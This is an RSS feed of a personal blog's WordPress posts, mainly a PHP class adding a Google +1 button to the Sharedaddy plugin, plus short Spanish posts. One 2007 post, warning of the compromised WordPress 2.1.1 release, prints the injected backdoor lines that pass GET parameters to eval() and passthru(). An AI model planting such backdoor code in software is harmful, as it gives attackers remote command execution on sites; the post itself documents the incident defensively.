<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>P0L0&#039;s Blog &#187; wordpress</title>
	<atom:link href="http://p0l0.binware.org/index.php/tag/wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://p0l0.binware.org</link>
	<description>Opensource Projects and IT experiences</description>
	<lastBuildDate>Sun, 30 Oct 2011 08:39:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>Google +1 for Sharedaddy</title>
		<link>http://p0l0.binware.org/index.php/2011/06/03/google-1-for-sharedaddy/</link>
		<comments>http://p0l0.binware.org/index.php/2011/06/03/google-1-for-sharedaddy/#comments</comments>
		<pubDate>Fri, 03 Jun 2011 08:26:30 +0000</pubDate>
		<dc:creator>P0L0</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[sharedaddy]]></category>
		<category><![CDATA[sharing]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://p0l0.binware.org/?p=930</guid>
		<description><![CDATA[Google published on 01 June the possibility to add Google +1 to your page, which is a great service to add to the existing sharing services. Im using Sharedaddy, and I will not install another extra plugin to support Google +1 and the Sharedaddy option to add a custom service is not prepared for dynamic [...]]]></description>
			<content:encoded><![CDATA[<p>Google published on 01 June the possibility to <a href="http://googlewebmastercentral.blogspot.com/2011/06/add-1-to-help-your-site-stand-out.html?utm_source=feedburner&#038;utm_medium=feed&#038;utm_campaign=Feed%3A+blogspot%2FamDG+%28Official+Google+Webmaster+Central+Blog%29" target="_blank">add Google +1 to your page</a>, which is a great service to add to the existing sharing services.</p>
<p>Im using <a href="http://wordpress.org/extend/plugins/sharedaddy/" target="_blank">Sharedaddy</a>, and I will not install another extra plugin to support Google +1 and the Sharedaddy option to add a custom service is not prepared for dynamic services like this one. That&#8217;s because I looked to integrate the service into Sharedaddy avoiding to change to much the plugin.</p>
<p><span id="more-930"></span></p>
<p><div style="margin-left: -20px; margin-top: 20px; margin-bottom: 20px;"><script type="text/javascript"><!--
google_ad_client = "ca-pub-5682258244719056";
/* Inline Post */
google_ad_slot = "6946080416";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></div></p>
<p>Sharedaddy is Object Oriented, so its easy to create a new Sevice Class which extends <em>Sharing_Advanced_Source</em>. But to load your class, you need to change some files.</p>
<ul>
<li>
<p><em>sharing-sources.php</em></p>
<p>To make it dynamic, I created an extra file called <em>sharing-sources-custom.php</em> and load this file from the original Sharedaddy <em>sharing-sources.php</em>:</p>
<pre class="brush: php5; title: ; notranslate">
// Custom Sharing services
require_once('sharing-sources-custom.php');
</pre>
</li>
<li>
<p><em>sharing-services.php</em></p>
<p>This file has an array with the current services and the class name for this service, here we must change directly the function to add our new class.</p>
<pre class="brush: php5; first-line: 37; title: ; notranslate">
private function get_all_services() {
// Default services
$services = array(
...
'googleplusone' =&gt; 'Share_GooglePlusOne'
);
</pre>
</li>
</ul>
<p>This two changes are enought to get your new service working, if you want you can also add images and edit admin-sharing.css to have preview in your admin panel, but the Service will be working without this.</p>
<p>Here is the Code for the <em>Share_GooglePlusOne</em> class:</p>
<pre class="brush: php5; title: ; notranslate">
&lt;?php
/**
 * File for Custom Services
 *
 * @category WordPress
 * @package  Sharedaddy
 */

/**
 * Class for Google+1
 *
 * Implementeation of Google+1 Service for Sharedaddy
 *
 * @category WordPress
 * @package  Sharedaddy
 * @author Marco Neumann &lt;webcoder_at_binware_dot_org&gt;
 * @copyright Copyright (c) 2011, Marco Neumann
 * Licensed under the GNU GPLv3.
 *
 */
class Share_GooglePlusOne extends Sharing_Advanced_Source
{
    /**
     * Button Size
     *
     * @var String
     */
    private $_size = 'small';

    /**
     * Button Language
     *
     * @var String
     */
    private $_language = 'en-US';

    /**
     * Button with count?
     *
     * @var String
     */
    private $_count = 'true';

    // Configuration extracted from http://code.google.com/apis/+1button/#configuration
    /**
     * Available sizes
     *
     * @var Array
     */
    private $_optionsSize = array(
        'small'    =&gt; 'Small Size',
        'medium'   =&gt; 'Medium Size',
        'standard' =&gt; 'Standard Size',
        'tall'     =&gt; 'Tall Size'
    );

    /**
     * Available languages
     *
     * @var Array
     */
    private $_optionsLanguage = array(
        'ar'     =&gt; 'Arabic',
        'bg'     =&gt; 'Bulgarian',
        'ca'     =&gt; 'Catalan',
        'zh-CN'  =&gt; 'Chinese (Simplified)',
        'zh-TW'  =&gt; 'Chinese (Traditional)',
        'hr'     =&gt; 'Croatian',
        'cs'     =&gt; 'Czech',
        'da'     =&gt; 'Danish',
        'nl'     =&gt; 'Dutch',
        'en-GB'  =&gt; 'English (UK)',
        'en-US'  =&gt; 'English (US)',
        'et'     =&gt; 'Estonian',
        'fil'    =&gt; 'Filipino',
        'fi'     =&gt; 'Finnish',
        'fr'     =&gt; 'French',
        'de'     =&gt; 'German',
        'el'     =&gt; 'Greek',
        'iw'     =&gt; 'Hebrew',
        'hi'     =&gt; 'Hindi',
        'hu'     =&gt; 'Hungarian',
        'id'     =&gt; 'Indonesian',
        'it'     =&gt; 'Italian',
        'ja'     =&gt; 'Japanese',
        'ko'     =&gt; 'Korean',
        'lv'     =&gt; 'Latvian',
        'lt'     =&gt; 'Lithuanian',
        'ms'     =&gt; 'Malay',
        'no'     =&gt; 'Norwegian',
        'fa'     =&gt; 'Persian',
        'pl'     =&gt; 'Polish',
        'pt-BR'  =&gt; 'Portuguese (Brazil)',
        'pt-PT'  =&gt; 'Portuguese (Portugal)',
        'ro'     =&gt; 'Romanian',
        'ru'     =&gt; 'Russian',
        'sr'     =&gt; 'Serbian',
        'sk'     =&gt; 'Slovak',
        'sl'     =&gt; 'Slovenian',
        'es'     =&gt; 'Spanish',
        'es-419' =&gt; 'Spanish (Latin America)',
        'sv'     =&gt; 'Swedish',
        'th'     =&gt; 'Thai',
        'tr'     =&gt; 'Turkish',
        'uk'     =&gt; 'Ukrainian',
        'vi'     =&gt; 'Vietnamese'
    );

    /**
     * Constructor
     *
     * @param Integer $id
     * @param Array $settings
     */
    public function __construct($id, array $settings)
    {
        parent::__construct($id, $settings);

        if (isset($settings['size'])) {
            $this-&gt;_size = $settings['size'];
        }
        if (isset($settings['language'])) {
            $this-&gt;_language = $settings['language'];
        }
        if (isset($settings['count'])) {
            $this-&gt;_count = $settings['count'];
        }
    }

    /**
     * Get Service Name
     *
     * @return String
     */
    public function get_name()
    {
        return __('Google +1', 'sharedaddy');
    }

    /**
     * Displays preview
     *
     * @return Share_GooglePlusOne
     */
    public function display_preview()
    {
?&gt;
    &lt;div class=&quot;option option-smart-&lt;?php echo $this-&gt;_count; ?&gt;&quot;&gt;
        &lt;?php
            if ($this-&gt;button_style == 'text' || $this-&gt;button_style == 'icon-text') {
                echo $this-&gt;get_name();
            } else {
               echo '&amp;nbsp;';
            }
        ?&gt;
    &lt;/div&gt;
&lt;?php

        return $this;
    }    

    /**
     * Loads Service required footer code
     *
     * @return Share_GooglePlusOne
     */
    public function display_footer()
    {
        // Load JS for Google +1
        global $post;

        if (isset($post-&gt;ID) &amp;&amp; $post-&gt;ID &gt; 0) {
            $options = array(
                'lang' =&gt; $this-&gt;_language
            );

            echo '&lt;script type=&quot;text/javascript&quot;&gt;';
            if (!empty($options)) {
                echo 'window.___gcfg = ' . json_encode($options) .';';
            }
            echo '(function() {
                  var po = document.createElement(\'script\'); po.type = \'text/javascript\'; po.async = true;
                  po.src = \'https://apis.google.com/js/plusone.js\';
                  var s = document.getElementsByTagName(\'script\')[0]; s.parentNode.insertBefore(po, s);
                  })();';
            echo '&lt;/script&gt;';
        }

        return $this;
    }

    /**
     * Shows icon
     *
     * @return String
     */
    public function get_display($post)
    {
        return '&lt;g:plusone size=&quot;' . $this-&gt;_size . '&quot; count=&quot;' . $this-&gt;_count . '&quot; href=&quot;' . get_permalink() . '&quot;&gt;&lt;/g:plusone&gt;';
    }

    /**
     * Displays available Service options
     *
     * @return Share_GooglePlusOne
     */
    public function display_options()
    {
?&gt;
&lt;div class=&quot;input&quot;&gt;
    &lt;label&gt;
        &lt;select name=&quot;size&quot;&gt;
            &lt;?php foreach ($this-&gt;_optionsSize as $value=&gt;$name): ?&gt;
                &lt;option value=&quot;&lt;?php echo $value; ?&gt;&quot;&lt;?php if ($this-&gt;_size == $value): ?&gt; selected=&quot;selected&quot;&lt;?php endif; ?&gt;&gt;&lt;?php _e($name, 'sharedaddy'); ?&gt;
            &lt;?php endforeach; ?&gt;
        &lt;/select&gt;
    &lt;/label&gt;
    &lt;label&gt;
        &lt;select name=&quot;language&quot;&gt;
            &lt;?php foreach ($this-&gt;_optionsLanguage as $value=&gt;$name): ?&gt;
                &lt;option value=&quot;&lt;?php echo $value; ?&gt;&quot;&lt;?php if ($this-&gt;_language == $value): ?&gt; selected=&quot;selected&quot;&lt;?php endif; ?&gt;&gt;&lt;?php _e($name, 'sharedaddy'); ?&gt;
            &lt;?php endforeach; ?&gt;
        &lt;/select&gt;
    &lt;/label&gt;
    &lt;label&gt;
        &lt;input type=&quot;checkbox&quot;&lt;?php if ($this-&gt;_count == 'true') { echo ' checked=&quot;checked&quot;'; } ?&gt; name=&quot;count&quot; /&gt; Show Count
    &lt;/label&gt;
&lt;/div&gt;
&lt;?php

        return $this;
    }

    /**
     * Updates submitted options
     *
     * @return Share_GooglePlusOne
     */
    public function update_options(array $data)
    {
        if (isset($data['size']) &amp;&amp; isset($this-&gt;_optionsSize[$data['size']])) {
            $this-&gt;_size = $data['size'];
        }

        if (isset($data['language']) &amp;&amp; isset($this-&gt;_optionsLanguage[$data['language']])) {
            $this-&gt;_language = $data['language'];
        }

        $this-&gt;_count = ($data['count'])?'true':'false';

        return $this;
    }

    /**
     * Returns current options
     *
     * @var Array
     */
    public function get_options()
    {
        return array(
            'size'     =&gt; $this-&gt;_size,
            'language' =&gt; $this-&gt;_language,
            'count'    =&gt; $this-&gt;_count
        );
    }
}
</pre>
<p><div style="margin-left: -20px; margin-top: 20px; margin-bottom: 20px;"><script type="text/javascript"><!--
google_ad_client = "ca-pub-5682258244719056";
/* Inline Post */
google_ad_slot = "6946080416";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></div></p>
<p>Here you can download this file were you will find a patch for the actual sharedaddy version and the images for the admin panel. You only need to apply patch on <em>wp-content/plugins/sharedaddy/</em> and copy the images to <em>wp-content/plugins/sharedaddy/images/</em></p>
<ul>
<li style="list-style-type: none; font-weight: bold;">Patches</li>
<li><a href="http://p0l0.binware.org/wp-content/uploads/2011/06/sharedaddy-googleplusone-1.0.tar.bz2">Sharedaddy with Google +1 &#8211; v.1.0</a></li>
<li><a href="http://p0l0.binware.org/wp-content/uploads/2011/06/sharedaddy-googleplusone-1.1.tar.bz2">Sharedaddy with Google +1 &#8211; v.1.1</a> (Added permalink to +1 button &#8211; Thanks to <a href="http://wordpress.org/support/profile/megazone" target="_blank">megazone</a>)</li>
<li><a href="http://p0l0.binware.org/wp-content/uploads/2011/06/sharedaddy-googleplusone-1.2.tar.bz2">Sharedaddy with Google +1 &#8211; v.1.2</a> (Asynchronous Javascript Loading)</li>
</ul>
<ul>
<li style="list-style-type: none; font-weight: bold;">Complete downloads</li>
<li><a href="http://p0l0.binware.org/wp-content/uploads/2011/06/sharedaddy-0.2.12-googleplusone-1.1.tar.bz2">Sharedaddy 0.2.12 with Google +1 &#8211; v.1.1</a>
<li><a href="http://p0l0.binware.org/wp-content/uploads/2011/06/sharedaddy-0.2.12-googleplusone-1.2.tar.bz2">Sharedaddy 0.2.12 with Google +1 &#8211; v.1.2</a>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://p0l0.binware.org/index.php/2011/06/03/google-1-for-sharedaddy/feed/</wfw:commentRss>
		<slash:comments>25</slash:comments>
		</item>
		<item>
		<title>WordPress 2.1.1 Comprometido</title>
		<link>http://p0l0.binware.org/index.php/2007/03/04/wordpress-211-comprometido/</link>
		<comments>http://p0l0.binware.org/index.php/2007/03/04/wordpress-211-comprometido/#comments</comments>
		<pubDate>Sun, 04 Mar 2007 11:03:47 +0000</pubDate>
		<dc:creator>P0L0</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[IT Security]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://p0l0.binware.org/index.php/2007/03/04/wordpress-211-comprometido/</guid>
		<description><![CDATA[Hace unos dias alguien ha entrado en la maquina de descargas de worpress y se han cambiado dos ficheros en wp-include en los cuales han metido codigo para ejecutar codigo por medio de parametro GET. Tal como dicen en la web de wordpress hay que actualizar inmeditamente a la version 2.1.2 El codigo injectado esta [...]]]></description>
			<content:encoded><![CDATA[<p>Hace unos dias alguien ha entrado en la maquina de descargas de worpress y se han cambiado dos ficheros en wp-include en los cuales han metido codigo para ejecutar codigo por medio de parametro GET. Tal como dicen en la web de <a href="http://wordpress.org/development/2007/03/upgrade-212/" target="_blank">wordpress</a> hay que actualizar inmeditamente a la version 2.1.2</p>
<p>El codigo injectado esta en estos dos ficheros:</p>
<ul>
<li>wp-includes/feed.php

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>84
85
86
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">function</span> comment_text_phpfilter<span style="color: #009900;">&#40;</span><span style="color: #000088;">$filterdata</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #990000;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$filterdata</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>


<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>149
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;ix&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> comment_text_phpfilter<span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;ix&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

</li>
</ul>
<ul>
<li>wp-includes/theme.php

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>408
409
410
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">function</span> get_theme_mcommand<span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcds</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #990000;">passthru</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcds</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>


<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>441
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;iz&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> get_theme_mcommand<span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;iz&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://p0l0.binware.org/index.php/2007/03/04/wordpress-211-comprometido/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress Post Update Plugin</title>
		<link>http://p0l0.binware.org/index.php/2006/10/05/wordpress-post-update-plugin/</link>
		<comments>http://p0l0.binware.org/index.php/2006/10/05/wordpress-post-update-plugin/#comments</comments>
		<pubDate>Thu, 05 Oct 2006 11:15:13 +0000</pubDate>
		<dc:creator>P0L0</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[projects]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://p0l0.binware.org/index.php/2006/10/05/wordpress-post-update-plugin/</guid>
		<description><![CDATA[He echo un pequeño plugin para poner al final del post un texto de que ha sido actualizado el post. Es algo que siempre se me olvida de poner en los posts y que suele quedar bien para saber que ha habido modificaciones. Esta es la primera version de todas que lo unico que hace [...]]]></description>
			<content:encoded><![CDATA[<p>He echo un pequeño plugin para poner al final del post un texto de que ha sido actualizado el post. Es algo que siempre se me olvida de poner en los posts y que suele quedar bien para saber que ha habido modificaciones. Esta es la primera version de todas que lo unico que hace es añadir un texto &#8220;Updated: fecha&#8221; y se puede definir los estilos usando la clase &#8220;post_updated&#8221;. Segun vaya teniendo tiempo ya le ire añadiendo nuevas funcionalidades.</p>
<p>Podeis descargarlo aqui <a href="http://p0l0.binware.org/wp-content/2006/10/post-updated.zip">Post Updated v.0.1a</a></p>
]]></content:encoded>
			<wfw:commentRss>http://p0l0.binware.org/index.php/2006/10/05/wordpress-post-update-plugin/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nos mudamos!</title>
		<link>http://p0l0.binware.org/index.php/2006/03/07/nos-mudamos/</link>
		<comments>http://p0l0.binware.org/index.php/2006/03/07/nos-mudamos/#comments</comments>
		<pubDate>Tue, 07 Mar 2006 17:14:36 +0000</pubDate>
		<dc:creator>P0L0</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Misc]]></category>
		<category><![CDATA[blogger]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://p0l0.binware.org/index.php/2006/03/07/nos-mudamos/</guid>
		<description><![CDATA[Bueno&#8230; despues de un año mas o menos aqui en blogger, mudo el blog a Binware Hosting, que esto de no poder hacer backups no me convence&#8230; asi que apartir de ahora el blog estara disponible en el nuevo P0L0&#8242;s Blog]]></description>
			<content:encoded><![CDATA[<p>Bueno&#8230; despues de un año mas o menos aqui en blogger, mudo el blog a <a target="_new" href="http://binware.org">Binware Hosting</a>, que esto de no poder hacer backups no me convence&#8230; asi que apartir de ahora el blog estara disponible en el nuevo <a href="http://p0l0.binware.org">P0L0&#8242;s Blog</a></p>
]]></content:encoded>
			<wfw:commentRss>http://p0l0.binware.org/index.php/2006/03/07/nos-mudamos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

